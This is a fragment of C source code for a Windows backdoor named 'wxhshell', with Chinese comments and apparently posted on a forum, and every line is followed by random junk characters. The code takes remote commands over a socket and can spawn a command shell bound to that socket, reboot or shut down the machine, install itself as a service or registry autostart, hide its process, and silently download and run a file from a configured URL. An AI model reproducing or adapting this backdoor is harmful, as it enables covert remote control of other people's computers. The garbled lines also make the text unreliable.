  // 帮助 Wam?(!{mOf  
  case '?': { i]Of<eQ"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (4gQe6tA  
    break; dQoMAsxzM  
  } H_^u_ %:e  
  // 安装 `SpS?mWA  
  case 'i': { 00 ,j neF  
    if(Install()) {}2p1-(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k:yu2dQh  
    else S~`AnX3!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z:? <aT  
    break; 4C*=8oe_  
    } nqW:P$  
  // 卸载 im%3*bv-  
  case 'r': { 2n,73$ s  
    if(Uninstall()) 833t0Ml1A/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QE6-(/  
    else --hnv/AjI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?a_q!,8:  
    break; DFH6.0UW  
    } (9lx5  
  // 显示 wxhshell 所在路径 WM7/|.HQ  
  case 'p': { 9E*K44L/V  
    char svExeFile[MAX_PATH]; ooxzM `  
    strcpy(svExeFile,"\n\r"); _Pm}]Y:_  
      strcat(svExeFile,ExeFile); +VFwYdW,  
        send(wsh,svExeFile,strlen(svExeFile),0); pIjVJ9+j  
    break; tOVm~C,R  
    } 0(6`dr_  
  // 重启 gx.]4 v  
  case 'b': { 3Q"+ #Ob  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Tj~#Xc  
    if(Boot(REBOOT)) sm S0Rk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xL"o)]a=  
    else { nlnJJM&J $  
    closesocket(wsh); M- A}(r +J  
    ExitThread(0); 55en D  
    } =&xoyF  
    break; <08V-   
    } Kt0Tuj@CY  
  // 关机 0u9h2/ma  
  case 'd': { BGjTa.&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |ZzBCL8q  
    if(Boot(SHUTDOWN)) nA j2k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tS@/Bq('B  
    else { D'+8]B  
    closesocket(wsh); >C66X?0cd  
    ExitThread(0); _QCI< |A  
    } (`*wiu+i  
    break; 0_.hU^fP  
    } t fQq3#  
  // 获取shell (HxF\#r?  
  case 's': { ^%^0x'"  
    CmdShell(wsh); 9jO+ew  
    closesocket(wsh); U$Z}<8  
    ExitThread(0); xb;m m9H  
    break; f ebh1rUX  
  } fe/6JV  
  // 退出 e8v=n@0  
  case 'x': { p$ <qT^]&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a06q-3zw  
    CloseIt(wsh); hdb4E|'A  
    break; ?^Ux+mVE  
    } U0T N8O}Z  
  // 离开 R:p,Hav<q  
  case 'q': { g{(nt5|^l  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); x~^nlnKVf  
    closesocket(wsh); WGK::?  
    WSACleanup(); *RM'0[1F4  
    exit(1); CxV%/ChJ#  
    break; B.jYU  
        } 5w9<_W0d  
  } 'h=2_%l@Y  
  } R MXj)~4.  
b5R*]  
  // 提示信息 Y6a|\K|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J_$~OEC~  
} bS<p dOX_  
  } >AJ|F)  
[l:.Q?? )|  
  return; Mr(3]EfgO  
} e:<> Yq+  
uU s>/+  
// shell模块句柄 .EwK>ro4  
int CmdShell(SOCKET sock) H'>  
{ W aU_Z/{0  
STARTUPINFO si; ;;5i'h~?]J  
ZeroMemory(&si,sizeof(si)); \eCdGx?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; PMcyQ2R->  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !C?z$5g  
PROCESS_INFORMATION ProcessInfo; \9^@,kfP  
char cmdline[]="cmd"; "N_?yA#(j  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); tAUMSr|?  
  return 0; nc)`ISI  
} H_^c K  
7O#>N}|  
// 自身启动模式 W{d/m;<@N  
int StartFromService(void) ":ycyN@g  
{ 79_MP  
typedef struct Viw3 /K  
{ =KLYR UW  
  DWORD ExitStatus; QZol( 2~Y  
  DWORD PebBaseAddress; D.?gV_  
  DWORD AffinityMask; '-=?lyKv  
  DWORD BasePriority; I4'j_X t  
  ULONG UniqueProcessId; %+~0+ev7r  
  ULONG InheritedFromUniqueProcessId; +L6d$+  
}   PROCESS_BASIC_INFORMATION; ?a@l.ZM*  
TF>F7v(,45  
PROCNTQSIP NtQueryInformationProcess; da@ .J9  
v#xF;@G  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; om6R/K  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Tx_ LH"8  
p20Nk$.  
  HANDLE             hProcess; It[~0?+  
  PROCESS_BASIC_INFORMATION pbi; XJ9>a-{  
2Z~o frj  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6%-2G@6d  
  if(NULL == hInst ) return 0; ,")7uMZaF\  
g=Lt 2UIJ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]Ea-?IhD  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); OgX."pK  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G)Y!aX  
4.TG&IQ nN  
  if (!NtQueryInformationProcess) return 0; U' Cp3>  
DNPK1e3a{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <3KrhhH  
  if(!hProcess) return 0; {$^|^n5j  
v]v f(]""  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; tr Ls4o,  
N<x5:f#+  
  CloseHandle(hProcess); CfU )+20  
`0D+x  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); novZ<?7 5;  
if(hProcess==NULL) return 0; 6c:$[owC  
?9:\1)]  
HMODULE hMod; ?jbam! A  
char procName[255]; tR3hbL$W  
unsigned long cbNeeded; a$ }^z  
UWHC]V?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Hg4Ut/0  
CJ_B.  
  CloseHandle(hProcess); Z5Cv$bUc  
W3b\LnUa  
if(strstr(procName,"services")) return 1; // 以服务启动 ~X/T6(n$  
[>E0(S]  
  return 0; // 注册表启动 `*]r.u0  
} _~!,x.Dbp  
7Do)++t  
// 主模块 \MU4"sXw  
int StartWxhshell(LPSTR lpCmdLine) PA E)3  
{ L<: ya  
  SOCKET wsl; dx^3(#B  
BOOL val=TRUE; S<TfvQ\,"@  
  int port=0; 4?Io@[7A)  
  struct sockaddr_in door; (&S v $L@  
I ; _.tG  
  if(wscfg.ws_autoins) Install(); Nn$$yUkMX  
VaB7)r  
port=atoi(lpCmdLine); 0pQ>V)  
5Ai Yx}  
if(port<=0) port=wscfg.ws_port; IH5thL@D  
B?jF1F!9  
  WSADATA data; `fs[C  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; k(MQ:9'|  
&>-Cz%IV  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   q~qig,$Y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $jHL8r\e7  
  door.sin_family = AF_INET; -Je+7#P1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); rP'oU V_  
  door.sin_port = htons(port); &+\wYa,  
;(XSw%Y H  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SV.*Z|"^N  
closesocket(wsl); IAfYlS#<yD  
return 1; , Le_PJY)  
} n}l Z  
HBt?cA '  
  if(listen(wsl,2) == INVALID_SOCKET) { &5B+8>  
closesocket(wsl); "783F:mPh  
return 1; C oaqi`v4T  
} 2dC)%]aLme  
  Wxhshell(wsl); |k8;[+  
  WSACleanup(); E_++yK^=  
A#T;Gi  
return 0; ^C(AMT  
_7Z$"  
} 9DIGK\  
L8V'mUyD  
// 以NT服务方式启动 CTwP{[%Pk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :7R\"@V4  
{ $1axZ~8sS  
DWORD   status = 0; O @w=  
  DWORD   specificError = 0xfffffff; H:|yu  
<a'j8pw9i  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Z8m/8M  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; z >pq<}R6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; U9JqZ!  
  serviceStatus.dwWin32ExitCode     = 0; m_pK'jc  
  serviceStatus.dwServiceSpecificExitCode = 0; @FQ@* XD  
  serviceStatus.dwCheckPoint       = 0; ;>PV]0bOm>  
  serviceStatus.dwWaitHint       = 0; C. Sb4i*  
$lO\eQGxB  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }Iu6]?|'  
  if (hServiceStatusHandle==0) return; }RD,JgmV  
D,NjDIG8  
status = GetLastError(); rP*?a~<  
  if (status!=NO_ERROR) *6uiOtH  
{ Fr3Q"(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qWWy}5SOm  
    serviceStatus.dwCheckPoint       = 0; C4b3ZcD2  
    serviceStatus.dwWaitHint       = 0; *bR _ C"-  
    serviceStatus.dwWin32ExitCode     = status; Q} / :  
    serviceStatus.dwServiceSpecificExitCode = specificError; v'|Dj^3[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }+SnY8A=KZ  
    return; sUg7  
  } 2hquE_1S[w  
@.%ll n  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; WhkE&7Gk  
  serviceStatus.dwCheckPoint       = 0; d@C93VYp  
  serviceStatus.dwWaitHint       = 0; _Wgg=A"G  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `/0FXb 8h  
} tf>?;  
C3 D1rS/I  
// 处理NT服务事件,比如:启动、停止 ~V(WD;Mk  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `LNRl'Z m  
{ ~x824xW  
switch(fdwControl) ll6~8PN  
{ (Y-7B  
case SERVICE_CONTROL_STOP: k+_pj k  
  serviceStatus.dwWin32ExitCode = 0; 6Z7{|B5}Y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :g][99  
  serviceStatus.dwCheckPoint   = 0; {uq  
  serviceStatus.dwWaitHint     = 0; T@X!vCjf6  
  { qg+ 8i9Y!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qF>}"m  
  } XWK A0  
  return; 1 ,Y-_e)  
case SERVICE_CONTROL_PAUSE: n`}vcVL;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; kGCd!$fsk  
  break; hMi`n6m  
case SERVICE_CONTROL_CONTINUE: 2LXy$[)7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ny{|{ a  
  break; qRTy}FU1  
case SERVICE_CONTROL_INTERROGATE: T'FRnC^~  
  break; iQ:]1H s  
}; P.LMu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vX&Nh"0H&  
} EFV'hMjS)  
i :@00)V{,  
// 标准应用程序主函数 -(~CZ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $n!saPpxS  
{ `j@2[XdHu  
ij/ |~-!  
// 获取操作系统版本 @ 3FTf"#Y  
OsIsNt=GetOsVer(); ![ Fb~Egc  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7n {uxE#U)  
0z.Hl1  
  // 从命令行安装 i{xgygp6f  
  if(strpbrk(lpCmdLine,"iI")) Install(); _bu, 1EM  
?PLf+S  
  // 下载执行文件 Hcuvu[)T"  
if(wscfg.ws_downexe) { )V} t(>V  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) sAWUtJ  
  WinExec(wscfg.ws_filenam,SW_HIDE); K`D>G<  
} $GEY*uIOa  
GoZr[=d  
if(!OsIsNt) { NEJxd%-  
// 如果时win9x,隐藏进程并且设置为注册表启动 Yaht<Hy  
HideProc(); B xq(+^T  
StartWxhshell(lpCmdLine); ^lf{IM-Y  
} o|$l+TC  
else R Mrh@9g  
  if(StartFromService()) Fd9ypZs  
  // 以服务方式启动 f8!*4Bw  
  StartServiceCtrlDispatcher(DispatchTable); b<NI6z8\  
else 3 `$-  
  // 普通方式启动 K'Wg_ihA  
  StartWxhshell(lpCmdLine); p8frSrcU  
*ax$R6a#X  
return 0; V~%!-7?  
}
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只看该作者 1 发表于: 2006-10-10
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